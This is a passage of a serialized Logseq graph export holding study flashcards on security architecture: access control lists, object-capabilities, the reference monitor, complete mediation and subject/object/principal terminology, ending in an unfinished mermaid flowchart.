Manifest]]logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[35,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[35,logseq____&quot;^Flogseq____&quot;,34,536870916]],[logseq____&quot;^15logseq____&quot;,[35,logseq____&quot;^Xlogseq____&quot;,23,536870916]],[logseq____&quot;^15logseq____&quot;,[35,logseq____&quot;^Vlogseq____&quot;,30,536870916]],[logseq____&quot;^15logseq____&quot;,[35,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[35,logseq____&quot;^Ulogseq____&quot;,23,536870916]],[logseq____&quot;^15logseq____&quot;,[35,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[35,logseq____&quot;^Ulogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[35,logseq____&quot;^Hlogseq____&quot;,28,536873233]],[logseq____&quot;^15logseq____&quot;,[35,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-d123-4c64-af34-59c9559adbf8logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[37,logseq____&quot;^Klogseq____&quot;,1740128172082,536870916]],[logseq____&quot;^15logseq____&quot;,[37,logseq____&quot;^@logseq____&quot;,false,536870916]],[logseq____&quot;^15logseq____&quot;,[37,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;access controllogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[37,logseq____&quot;^11logseq____&quot;,logseq____&quot;Access Controllogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[37,logseq____&quot;^Blogseq____&quot;,1740129291432,536871364]],[logseq____&quot;^15logseq____&quot;,[37,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c8-884f-45ae-ab1d-44386241d6a4logseq____&quot;,536873242]],[logseq____&quot;^15logseq____&quot;,[38,logseq____&quot;^Klogseq____&quot;,1740128172064,536870916]],[logseq____&quot;^15logseq____&quot;,[38,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870920]],[logseq____&quot;^15logseq____&quot;,[38,logseq____&quot;^@logseq____&quot;,false,536870916]],[logseq____&quot;^15logseq____&quot;,[38,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;security-architecturelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[38,logseq____&quot;^11logseq____&quot;,logseq____&quot;security-architecturelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[38,logseq____&quot;^Blogseq____&quot;,1740128172064,536870916]],[logseq____&quot;^15logseq____&quot;,[38,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c8-aa46-414d-97fc-99d886331c26logseq____&quot;,536873242]],[logseq____&quot;^15logseq____&quot;,[39,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;*object-centered* approach: associate objects with list of subjects and their access rightslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[39,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[39,logseq____&quot;^Flogseq____&quot;,57,536870916]],[logseq____&quot;^15logseq____&quot;,[39,logseq____&quot;^Xlogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[39,logseq____&quot;^Vlogseq____&quot;,57,536870916]],[logseq____&quot;^15logseq____&quot;,[39,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[39,logseq____&quot;^Ulogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[39,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[39,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-86b8-41c8-9dd4-c79aac51d247logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[40,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;System can authenticate the userlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[40,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[40,logseq____&quot;^Flogseq____&quot;,41,536870916]],[logseq____&quot;^15logseq____&quot;,[40,logseq____&quot;^Xlogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[40,logseq____&quot;^Vlogseq____&quot;,41,536870916]],[logseq____&quot;^15logseq____&quot;,[40,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[40,logseq____&quot;^Ulogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[40,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[40,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-86ab-468b-8638-cb455021afeelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[41,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Reference Monitor #card #security-architecture\\nid:: 67b75a09-cf78-4ea2-aee5-d3adb4d9802dlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[41,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[41,logseq____&quot;^Flogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[41,logseq____&quot;^Xlogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[41,logseq____&quot;^Vlogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[41,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[41,logseq____&quot;^Ulogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[41,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[41,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;~:idlogseq____&quot;,logseq____&quot;67b75a09-cf78-4ea2-aee5-d3adb4d9802dlogseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536870916]],[logseq____&quot;^15logseq____&quot;,[41,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^18logseq____&quot;],536870916]],[logseq____&quot;^15logseq____&quot;,[41,logseq____&quot;^4logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^18logseq____&quot;,logseq____&quot;67b75a09-cf78-4ea2-aee5-d3adb4d9802dlogseq____&quot;],536870916]],[logseq____&quot;^15logseq____&quot;,[41,logseq____&quot;^Hlogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[41,logseq____&quot;^Hlogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[41,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b75a09-cf78-4ea2-aee5-d3adb4d9802dlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[42,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;*Object*: Passive entity that is being accessed, e.g., filelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[42,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[42,logseq____&quot;^Flogseq____&quot;,52,536870916]],[logseq____&quot;^15logseq____&quot;,[42,logseq____&quot;^Xlogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[42,logseq____&quot;^Vlogseq____&quot;,49,536870916]],[logseq____&quot;^15logseq____&quot;,[42,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[42,logseq____&quot;^Ulogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[42,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[42,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-f244-4162-b609-47ff518d9d86logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[43,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;*Principal*: Authenticated entity, e.g., userlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[43,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[43,logseq____&quot;^Flogseq____&quot;,49,536870916]],[logseq____&quot;^15logseq____&quot;,[43,logseq____&quot;^Xlogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[43,logseq____&quot;^Vlogseq____&quot;,49,536870916]],[logseq____&quot;^15logseq____&quot;,[43,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[43,logseq____&quot;^Ulogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[43,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[43,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-f332-4cad-bb3a-58e73f52c80alogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[44,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;*Authority* that is *implicitly* used by a subjectlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[44,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[44,logseq____&quot;^Flogseq____&quot;,60,536870916]],[logseq____&quot;^15logseq____&quot;,[44,logseq____&quot;^Xlogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[44,logseq____&quot;^Vlogseq____&quot;,60,536870916]],[logseq____&quot;^15logseq____&quot;,[44,logseq____&quot;^Ulogseq____&quot;,2,536871284]],[logseq____&quot;^15logseq____&quot;,[44,logseq____&quot;^Ulogseq____&quot;,37,536871284]],[logseq____&quot;^15logseq____&quot;,[44,logseq____&quot;^Ulogseq____&quot;,38,536871284]],[logseq____&quot;^15logseq____&quot;,[44,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-ba72-4414-9e61-cf8bd6826561logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[45,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Pass access requests through a reference monitorlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[45,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[45,logseq____&quot;^Flogseq____&quot;,40,536870916]],[logseq____&quot;^15logseq____&quot;,[45,logseq____&quot;^Xlogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[45,logseq____&quot;^Vlogseq____&quot;,41,536870916]],[logseq____&quot;^15logseq____&quot;,[45,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[45,logseq____&quot;^Ulogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[45,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[45,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-09bd-4b97-8644-25ef01db3493logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[46,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;[*Complete Mediation*](((67b741ff-7f35-4293-bea7-c137d36a2b77))): Monitor must not be bypassedlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[46,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[46,logseq____&quot;^Flogseq____&quot;,51,536870916]],[logseq____&quot;^15logseq____&quot;,[46,logseq____&quot;^Xlogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[46,logseq____&quot;^Vlogseq____&quot;,51,536870916]],[logseq____&quot;^15logseq____&quot;,[46,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[46,logseq____&quot;^Ulogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[46,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[46,logseq____&quot;^Hlogseq____&quot;,54,536870916]],[logseq____&quot;^15logseq____&quot;,[46,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-deb3-46c4-8555-ede86b6e7ceflogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[47,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;*Protection domain* defined as set of capabilitieslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[47,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[47,logseq____&quot;^Flogseq____&quot;,55,536870916]],[logseq____&quot;^15logseq____&quot;,[47,logseq____&quot;^Xlogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[47,logseq____&quot;^Vlogseq____&quot;,58,536870916]],[logseq____&quot;^15logseq____&quot;,[47,logseq____&quot;^Ulogseq____&quot;,2,536870924]],[logseq____&quot;^15logseq____&quot;,[47,logseq____&quot;^Ulogseq____&quot;,37,536870924]],[logseq____&quot;^15logseq____&quot;,[47,logseq____&quot;^Ulogseq____&quot;,38,536870924]],[logseq____&quot;^15logseq____&quot;,[47,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-38bd-443f-9226-615738611fc6logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[48,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;*Verifiable*: Provided security goals must be verifiablelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[48,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[48,logseq____&quot;^Flogseq____&quot;,61,536870916]],[logseq____&quot;^15logseq____&quot;,[48,logseq____&quot;^Xlogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[48,logseq____&quot;^Vlogseq____&quot;,51,536870916]],[logseq____&quot;^15logseq____&quot;,[48,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[48,logseq____&quot;^Ulogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[48,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[48,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-8d93-4db0-8d69-f2d1c760ff3flogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[49,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### Terminology #card #security-architecturelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[49,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[49,logseq____&quot;^Flogseq____&quot;,59,536870916]],[logseq____&quot;^15logseq____&quot;,[49,logseq____&quot;^Xlogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[49,logseq____&quot;^Vlogseq____&quot;,41,536870916]],[logseq____&quot;^15logseq____&quot;,[49,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[49,logseq____&quot;^Ulogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[49,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[49,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536870916]],[logseq____&quot;^15logseq____&quot;,[49,logseq____&quot;^Jlogseq____&quot;,[],536870916]],[logseq____&quot;^15logseq____&quot;,[49,logseq____&quot;^Hlogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[49,logseq____&quot;^Hlogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[49,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-0e27-4a82-afad-a670114dac04logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[50,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Hard to determine all accessible objects of a particular subjectlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[50,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[50,logseq____&quot;^Flogseq____&quot;,56,536870916]],[logseq____&quot;^15logseq____&quot;,[50,logseq____&quot;^Xlogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[50,logseq____&quot;^Vlogseq____&quot;,57,536870916]],[logseq____&quot;^15logseq____&quot;,[50,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[50,logseq____&quot;^Ulogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[50,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[50,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-a879-427a-9859-318e5c6d793elogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[51,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### Properties #card #security-architecturelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[51,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[51,logseq____&quot;^Flogseq____&quot;,49,536870916]],[logseq____&quot;^15logseq____&quot;,[51,logseq____&quot;^Xlogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[51,logseq____&quot;^Vlogseq____&quot;,41,536870916]],[logseq____&quot;^15logseq____&quot;,[51,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[51,logseq____&quot;^Ulogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[51,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[51,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536870916]],[logseq____&quot;^15logseq____&quot;,[51,logseq____&quot;^Jlogseq____&quot;,[],536870916]],[logseq____&quot;^15logseq____&quot;,[51,logseq____&quot;^Hlogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[51,logseq____&quot;^Hlogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[51,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-5dcf-4613-9f67-3a8896156700logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[52,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;*Subject*: Active entity acting on principals behalf, e.g., process running under userlogseq____&apos;s identitylogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[52,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[52,logseq____&quot;^Flogseq____&quot;,43,536870916]],[logseq____&quot;^15logseq____&quot;,[52,logseq____&quot;^Xlogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[52,logseq____&quot;^Vlogseq____&quot;,49,536870916]],[logseq____&quot;^15logseq____&quot;,[52,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[52,logseq____&quot;^Ulogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[52,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[52,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-c08a-484b-8412-c24d1442fda3logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[53,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;usually implemented via *object references*, e.g., file descriptors (can, thus, be delegated to other processes if policy allows it)logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[53,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[53,logseq____&quot;^Flogseq____&quot;,63,536870916]],[logseq____&quot;^15logseq____&quot;,[53,logseq____&quot;^Xlogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[53,logseq____&quot;^Vlogseq____&quot;,58,536870916]],[logseq____&quot;^15logseq____&quot;,[53,logseq____&quot;^Ulogseq____&quot;,2,536870924]],[logseq____&quot;^15logseq____&quot;,[53,logseq____&quot;^Ulogseq____&quot;,37,536870924]],[logseq____&quot;^15logseq____&quot;,[53,logseq____&quot;^Ulogseq____&quot;,38,536870924]],[logseq____&quot;^15logseq____&quot;,[53,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-609c-4414-9ea2-7f5463994cf5logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[54,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Complete Mediation\\nid:: 67b741ff-7f35-4293-bea7-c137d36a2b77logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[54,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[54,logseq____&quot;^Flogseq____&quot;,228,536870916]],[logseq____&quot;^15logseq____&quot;,[54,logseq____&quot;^Xlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[54,logseq____&quot;^Vlogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[54,logseq____&quot;^Ulogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[54,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^18logseq____&quot;,logseq____&quot;67b741ff-7f35-4293-bea7-c137d36a2b77logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536870916]],[logseq____&quot;^15logseq____&quot;,[54,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^18logseq____&quot;],536870916]],[logseq____&quot;^15logseq____&quot;,[54,logseq____&quot;^4logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^18logseq____&quot;,logseq____&quot;67b741ff-7f35-4293-bea7-c137d36a2b77logseq____&quot;],536870916]],[logseq____&quot;^15logseq____&quot;,[54,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b741ff-7f35-4293-bea7-c137d36a2b77logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[55,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;[Reference monitor]((67b75a09-cf78-4ea2-aee5-d3adb4d9802d)) checks token (removes knowledge about identities and [ambient authority]((67b7665b-d447-4148-968c-5e162ec8c3fc))logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[55,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[55,logseq____&quot;^Flogseq____&quot;,53,536870916]],[logseq____&quot;^15logseq____&quot;,[55,logseq____&quot;^Xlogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[55,logseq____&quot;^Vlogseq____&quot;,58,536870916]],[logseq____&quot;^15logseq____&quot;,[55,logseq____&quot;^Ulogseq____&quot;,2,536870924]],[logseq____&quot;^15logseq____&quot;,[55,logseq____&quot;^Ulogseq____&quot;,37,536870924]],[logseq____&quot;^15logseq____&quot;,[55,logseq____&quot;^Ulogseq____&quot;,38,536870924]],[logseq____&quot;^15logseq____&quot;,[55,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-3a21-4db7-a064-7cf12ad59ea9logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[56,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Relies on *authentication* and [ambient authority]((67b7665b-d447-4148-968c-5e162ec8c3fc))logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[56,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[56,logseq____&quot;^Flogseq____&quot;,62,536870916]],[logseq____&quot;^15logseq____&quot;,[56,logseq____&quot;^Xlogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[56,logseq____&quot;^Vlogseq____&quot;,57,536870916]],[logseq____&quot;^15logseq____&quot;,[56,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[56,logseq____&quot;^Ulogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[56,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[56,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-5117-4a2d-bec2-89e4364e6ef9logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[57,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## ACL(Access Control List) #card #security-architecturelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[57,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[57,logseq____&quot;^Flogseq____&quot;,41,536870916]],[logseq____&quot;^15logseq____&quot;,[57,logseq____&quot;^Xlogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[57,logseq____&quot;^Vlogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[57,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[57,logseq____&quot;^Ulogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[57,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[57,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536870916]],[logseq____&quot;^15logseq____&quot;,[57,logseq____&quot;^Jlogseq____&quot;,[],536870916]],[logseq____&quot;^15logseq____&quot;,[57,logseq____&quot;^Hlogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[57,logseq____&quot;^Hlogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[57,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-08c4-41ff-9a55-2383ed229de1logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[58,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Object-Capabilities #card #security-architecturelogseq____&quot;,536870923]],[logseq____&quot;^15logseq____&quot;,[58,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[58,logseq____&quot;^Flogseq____&quot;,57,536870916]],[logseq____&quot;^15logseq____&quot;,[58,logseq____&quot;^Xlogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[58,logseq____&quot;^Vlogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[58,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[58,logseq____&quot;^Ulogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[58,logseq____&quot;^Ulogseq____&quot;,38,536870916]],[logseq____&quot;^15logseq____&quot;,[58,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536870923]],[logseq____&quot;^15logseq____&quot;,[58,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^14logseq____&quot;,[]],536870923]],[logseq____&quot;^15logseq____&quot;,[58,logseq____&quot;^Hlogseq____&quot;,2,536870923]],[logseq____&quot;^15logseq____&quot;,[58,logseq____&quot;^Hlogseq____&quot;,38,536870923]],[logseq____&quot;^15logseq____&quot;,[58,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fab-1843-422b-a7ee-edcaead07ce4logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[59,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;~```mermaid\\nflowchart LR\\n S((Subjectlogseq____&lt;brlogseq____&gt;e.g. User Process))\\n D{\\logseq____&quot;Reference Monitorlogseq____&lt;brlogseq____&gt;(Authorized?)\\logseq____&quot;}\\n O((Objectlogseq____&lt;brlogseq____&gt;e.g. File or Resource))\\n SP([Security Policy])\\n\\n S -- \\logseq____&quot;access request\\logseq____&quot; --logseq____&gt; D\\n SP --logseq____&gt; D\\n D -- \\logseq____&quot;If authorized\\logseq____&quot; --logseq____&gt; O\\n D -- \\logseq____&quot;If not authorized\\logseq____&quot; --logseq____&gt; X(Access 